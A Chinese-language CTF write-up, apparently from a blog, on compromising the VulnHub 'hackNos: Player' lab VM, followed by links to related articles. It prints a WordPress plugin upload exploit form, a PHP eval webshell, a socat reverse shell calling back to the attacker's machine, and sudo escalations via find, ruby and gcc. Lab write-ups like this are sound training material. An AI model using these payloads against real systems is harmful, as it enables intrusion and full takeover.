hacknos-player靶机渗透
靶机下载地址https://www.vulnhub.com/entry/hacknos-player,459/
网络配置
该靶机可能会存在无法自动分配IP的情况,所以无法扫描到的情况下需要手动配置获取IP地址。按照链接中的操作进行IP分配https://blog.csdn.net/asstart/article/details/103433065?utm_source=app
开机按e进入此界面修改指定内容为rw signie init=/bin/bash

完成后Ctrl+X进入shell界面
然后使用dhclient命令获取IP,再次查看IP

此时已经成功出现IP,重启即可。
前期摸排

打开发现是apache的默认页面

端口扫描发现2个端口开放,先尝试下爆破3306端口

爆破时出现大量错误信息,该错误信息说明mysql设置了失败连接次数,导致了MySQL无条件强制阻止我们连接。看来mysql无果,只能尝试80端口了。
使用dirsearch扫目录
dirsearch.py -u "http://192.168.245.171/" -e * -r -R 3

没发现有价值的东西,之后尝试了hackNos、player、Rahul_Gehlaut各种组合来猜解目录也没发现有新的目录存在,我还是太菜了。换了个思路,既然作者只留了80端口有效,那么在80端口上一定有我疏忽的地方,果不其然,在默认页面中发现了网站根目录

众里寻它千百度 蓦然回首 却在灯火阑珊处~。
发现是wordpross

直接wpscan一把梭,我的wpscan安装一直出现问题,直接使用了docker版本,这里因为docker装在了我的腾讯云上,我直接把靶机映射到了外网进行扫描,懒得安装了~
docker run -it --rm wpscanteam/wpscan --url http://xx.xx.xx/g@web/

扫描时发现存在有漏洞版本的插件
尝试枚举一下用户
docker run -it --rm wpscanteam/wpscan --url http://xx.xx.xx/g@web/ --enumerate u

发现一个可疑接口
http://192.168.245.171/g@web/index.php/wp-json/wp/v2/users/?per_page=100&page=1

打开url发现类型密码字符串hackNos@9012!!,先记下来
中期深入
我们直接在wpvulndb搜索该插件漏洞exp
https://wpvulndb.com/search?text=WP Support Plus Responsive Ticket System

选择一个远程代码执行的

可以看到漏洞成因为使用了switch case简单匹配了黑名单后缀导致可进行绕过,上传可执行文件
直接将exp copy下来修改提交地址
<form method="post" enctype="multipart/form-data" action="http://192.168.245.170/g@web/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="wpsp_upload_attachment">
    Choose a file ending with .phtml:
    <input type="file" name="0">
    <input type="submit" value="Submit">
</form>
我们选择直接上传php一句话shell
<?php eval(@$_POST[1]);?>

上传成功

在上传目录中发现我们的shell,打开执行我们的命令。
这里我们使用socat反弹一个交互式shell
socat是类Unix系统下的一个工具,可以看作是 nc 的加强版。我们可以使用socat来传递完整的带有tty的TCP连接。
控制端:
socat file:`tty`,raw,echo=0 tcp-listen:8888

打开shell执行我们的命令
1=system("socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.245.170:8888");

可以看到右下角的控制端已经成功接收反弹的shell了
后期提权
使用sudo -l查看sudo权限,发现需要使用密码,尝试输入之前获取的密码,无果


切换home目录发现三个用户名,尝试使用密码hackNos@9012!!挨个登录

成功登录security用户

使用sudo -l 发现可以无密码以hacknos-boat权限执行find命令
这里我们直接使用gtfobins工具来查找使用二进制文件执行命令的payload
https://gtfobins.github.io/


find命令的-exec参数可以让我们前面处理过程中过滤出来的文件,使用command命令对其进行处理,我们直接执行/bin/bash
sudo -u hackNos-boat /usr/bin/find . -exec /bin/bash \;

这时获得了hackNos-boat用户的权限,再次查看sudo权限,发现可以以hunter用户执行ruby,那么直接使用ruby -e 参数,-e的意思就是把后面的字符串当作脚本执行。
sudo -u hunter /usr/bin/ruby -e 'exec "/bin/bash/"'

获取hunter权限后发现可以以root权限执行gcc命令,我们直接去gtfobins搜索

sudo -u root /usr/bin/gcc -wrapper /bin/bash,-s .

获取root权限成功,这个-wrapper参数没查到什么意思,有师傅知道的话可以告知下。

完结,有段时间没做过靶机渗透了,发现好多东西都忘了,写个文章记录一下防止忘记。加油~
hacknos-player靶机渗透的更多相关文章
- 22. CTF综合靶机渗透(十五)
		
靶机说明: Game of Thrones Hacking CTF This is a challenge-game to measure your hacking skills. Set in Ga ...
 - 21. CTF综合靶机渗透(十四)
		
靶机说明: I created this machine to help others learn some basic CTF hacking strategies and some tools. ...
 - 18. CTF综合靶机渗透(十一)
		
靶机描述: SkyDog Con CTF 2016 - Catch Me If You Can 难度:初学者/中级 说明:CTF是虚拟机,在虚拟箱中工作效果最好.下载OVA文件打开虚拟框,然后选择文件 ...
 - 17. CTF综合靶机渗透(十)
		
靶机描述:欢迎来到超级马里奥主机!这个虚拟机是对真实世界场景场景的模拟.目标是在VM中找到2个标志.根是不够的(对不起!)VM可以以多种方式开发,但请记住枚举是关键.挑战的程度是中等的.感谢VDBAN ...
 - VulnHub CengBox2靶机渗透
		
本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...
 - VulnHub PowerGrid 1.0.1靶机渗透
		
本文首发于微信公众号:VulnHub PowerGrid 1.0.1靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆☆官网地址:https://download.vulnhub.com/power ...
 - DeRPnStiNK靶机渗透
		
DeRPnStiNK靶机渗透 常规的信息搜集 扫到了phpmyadmin以及wordpress并在后台发现弱密码,即admin,admin 这里对wordpress进行了扫描: 扫描插件: searc ...
 - BTRsys1~2系列靶机渗透
		
BTRsys系列靶机渗透 BTRsys1 端口发现加目录扫描. 发现目录:http://192.168.114.161/login.php 尝试弱密码失败,查看源代码. <script type ...
 - ch4inrulz: 1.0.1靶机渗透
		
ch4inrulz: 1.0.1靶机渗透 扫描主机端口,还行啦四个开放的端口,8011和80端口都运行着web服务. 80端口下的robots.txt告诉我们什么都没有 在8011端口的apache服 ...
 
随机推荐
- Leetcode 1160: 拼写单词
			
给你一份『词汇表』(字符串数组) words 和一张『字母表』(字符串) chars. 假如你可以用 chars 中的『字母』(字符)拼写出 words 中的某个『单词』(字符串),那么我们就认为你掌 ...
 - 人见人爱A-B   题解
			
参加过上个月月赛的同学一定还记得其中的一个最简单的题目,就是{A}+{B},那个题目求的是两个集合的并集,今天我们这个A-B求的是两个集合的差,就是做集合的减法运算.(当然,大家都知道集合的定义,就是 ...
 - (转)协议森林15 先生,要点单吗? (HTTP协议概览)
			
协议森林15 先生,要点单吗? (HTTP协议概览) 作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明.谢谢! 我们在TCP流通信中说明了, ...
 - iview的input框校验添加v-modal.number会影响校验,还是依照API使用number来转换number类型
			
公司项目使用了iview2.0版本的,有一个需求是需要把里面的值换成number类型并且校验,代码大致如下,使用了v-modal.number来实现转换, <FormItem label=&qu ...
 - javascript中indexOf()和lastIndexOf()详解
			
ECMAScript5为数组实例添加两方法:indexOf()和lastIndexOf().这两个方法接受两个参数:要查找的项和(可选的)表示查找起点位置的索引.其中,indexOf()方法从数组的开 ...
 - C语言-转义字符
			
%d 十进制有符号整数 %u 十进制无符号整数 %f 浮点数 %s 字符串 %c 单个字符 %p 指针的值 %e 指数形式的浮点数 %X 无符号以十六进制表示的整数 ...
 - 【简说Python WEB】视图函数操作数据库
			
目录 [简说Python WEB]视图函数操作数据库 系统环境:Ubuntu 18.04.1 LTS Python使用的是虚拟环境:virutalenv Python的版本:Python 3.6.9 ...
 - Gorm 预加载及输出处理(三)- 自定义时间格式
			
前言 Gorm 中 time.Time 类型的字段在 JSON 序列化后呈现的格式为 "2020-03-11T18:26:13+08:00",在 Go 标准库文档 - time 的 ...
 - Spotlight on Unix/Mysql安装使用详解
			
Spotlight on Unix安装使用详解 1.远程连接linux服务器,查看系统是否已经安装sysstat包,如果没有的话,按照以下方法安装sysstat. (1)检查Linux是否安装sys ...
 - vscode不能打开浏览器(Open browser failed!! Please check if you have installed the browser  correctly!)
			
vscode出现上述问题,我也查了很多相关资料,什么改默认浏览器设置什么的,改配置,改系统环境变量什么的,不但麻烦而且最后都难以成功. 下面分享一个可以解决的最简单办法.那就是:舍弃open in b ...